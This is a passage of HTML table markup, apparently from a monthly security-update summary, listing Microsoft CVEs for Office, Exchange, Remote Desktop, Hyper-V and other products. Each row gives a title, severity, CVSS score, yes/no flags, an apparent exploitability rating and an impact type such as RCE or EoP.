  <td width="256" class="xl68">Microsoft M365 Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45460"><span>CVE-2026-45460</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">4.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45472"><span>CVE-2026-45472</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45474"><span>CVE-2026-45474</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45461"><span>CVE-2026-45461</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45463"><span>CVE-2026-45463</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45456"><span>CVE-2026-45456</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45458"><span>CVE-2026-45458</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47635"><span>CVE-2026-47635</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26142"><span>CVE-2026-26142</span></a></td>
  <td width="256" class="xl68">Nuance PowerScribe
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47289"><span>CVE-2026-47289</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47654"><span>CVE-2026-47654</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48563"><span>CVE-2026-48563</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42992"><span>CVE-2026-42992</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44799"><span>CVE-2026-44799</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44801"><span>CVE-2026-44801</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42985"><span>CVE-2026-42985</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45648"><span>CVE-2026-45648</span></a></td>
  <td width="256" class="xl68">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42987"><span>CVE-2026-42987</span></a></td>
  <td width="256" class="xl68">Windows Deployment
  Services (WDS) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33828"><span>CVE-2026-33828</span></a></td>
  <td width="256" class="xl68">Windows Device Health
  Attestation (DHA) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44803"><span>CVE-2026-44803</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44812"><span>CVE-2026-44812</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45607"><span>CVE-2026-45607</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45641"><span>CVE-2026-45641</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47652"><span>CVE-2026-47652</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47288"><span>CVE-2026-47288</span></a></td>
  <td width="256" class="xl68">Windows Kerberos Key
  Distribution Center (KDC) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><span>CVE-2026-45657</span></a></td>
  <td width="256" class="xl68">Windows Kernel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48574"><span>CVE-2026-48574</span></a></td>
  <td width="256" class="xl68">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45490"><span>CVE-2026-45490</span></a></td>
  <td width="256" class="xl68">.NET SDK Elevation of
  Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45491"><span>CVE-2026-45491</span></a></td>
  <td width="256" class="xl68">.NET Tampering
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45591"><span>CVE-2026-45591</span></a></td>
  <td width="256" class="xl68">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47643"><span>CVE-2026-47643</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41098"><span>CVE-2026-41098</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45642"><span>CVE-2026-45642</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Attestation service and Device Health Attestation Service Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45650"><span>CVE-2026-45650</span></a></td>
  <td width="256" class="xl68">Microsoft Bing Search
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45637"><span>CVE-2026-45637</span></a></td>
  <td width="256" class="xl68">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45647"><span>CVE-2026-45647</span></a></td>
  <td width="256" class="xl68">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40371"><span>CVE-2026-40371</span></a></td>
  <td width="256" class="xl68">Microsoft Dynamics 365
  (on-premises) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44822"><span>CVE-2026-44822</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45455"><span>CVE-2026-45455</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45469"><span>CVE-2026-45469</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44817"><span>CVE-2026-44817</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44818"><span>CVE-2026-44818</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44820"><span>CVE-2026-44820</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44823"><span>CVE-2026-44823</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45459"><span>CVE-2026-45459</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45504"><span>CVE-2026-45504</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45502"><span>CVE-2026-45502</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45503"><span>CVE-2026-45503</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45583"><span>CVE-2026-45583</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45500"><span>CVE-2026-45500</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45501"><span>CVE-2026-45501</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47631"><span>CVE-2026-47631</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42986"><span>CVE-2026-42986</span></a></td>
  <td width="256" class="xl68">Microsoft Graphics
  Component Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41092"><span>CVE-2026-41092</span></a></td>
  <td width="256" class="xl68">Microsoft Kinect
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45644"><span>CVE-2026-45644</span></a></td>
  <td width="256" class="xl68">Microsoft Live Share
  Canvas SDK Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47293"><span>CVE-2026-47293</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45485"><span>CVE-2026-45485</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44821"><span>CVE-2026-44821</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45483"><span>CVE-2026-45483</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Project Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45475"><span>CVE-2026-45475</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44819"><span>CVE-2026-44819</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44824"><span>CVE-2026-44824</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45645"><span>CVE-2026-45645</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49161"><span>CVE-2026-49161</span></a></td>
  <td width="256" class="xl68">Microsoft PC Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42902"><span>CVE-2026-42902</span></a></td>
  <td width="256" class="xl68">Microsoft PowerToys
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45484"><span>CVE-2026-45484</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45454"><span>CVE-2026-45454</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47298"><span>CVE-2026-47298</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
